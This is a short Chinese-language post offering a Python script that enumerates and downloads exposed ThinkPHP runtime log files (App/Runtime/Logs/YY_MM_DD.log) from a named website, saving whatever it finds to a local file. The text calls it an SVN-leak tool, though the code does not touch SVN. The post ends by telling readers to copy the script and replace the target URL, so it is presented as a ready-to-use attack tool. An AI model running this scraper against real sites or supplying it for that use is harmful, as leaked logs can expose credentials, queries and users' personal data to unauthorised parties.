tp_log工具
基于svn信息泄露的日志爬取工具
# 导入requests模块
import requests
# 定义URL
url ="http://www.webhack123.com/App/Runtime/Logs"
# 定义函数用于生成URL列表
def add_urls(patch,y):
urls = [] # 初始化空列表用于存储URL
for i in range(1, 7):
for j in range(1, 32):
if i < 10:
if j < 10:
# 对月份和日期进行格式化,确保格式为两位数
urls.append(patch + "/%s_0%s_0%s.log" % (y, i, j))
else:
urls.append(patch + "/%s_0%s_%s.log" % (y, i, j))
else:
if j < 10:
urls.append(patch + "/%s_%s_0%s.log" % (y, i, j))
else:
urls.append(patch + "/%s_%s_%s.log" % (y, i, j))
return urls
# 生成URL列表
urls = add_urls(url, "20")
# 遍历URL列表
for i in urls:
# 发送GET请求
req = requests.get(i)
# 如果响应状态码为200,则表示请求成功
if req.status_code == 200:
print(i) # 打印当前处理的URL
html = req.text # 获取响应的HTML内容
# 将HTML内容写入文件
with open("webhack123.txt", 'a', encoding='utf-8') as f:
f.write(html)
直接复制粘贴即可
替换定义的url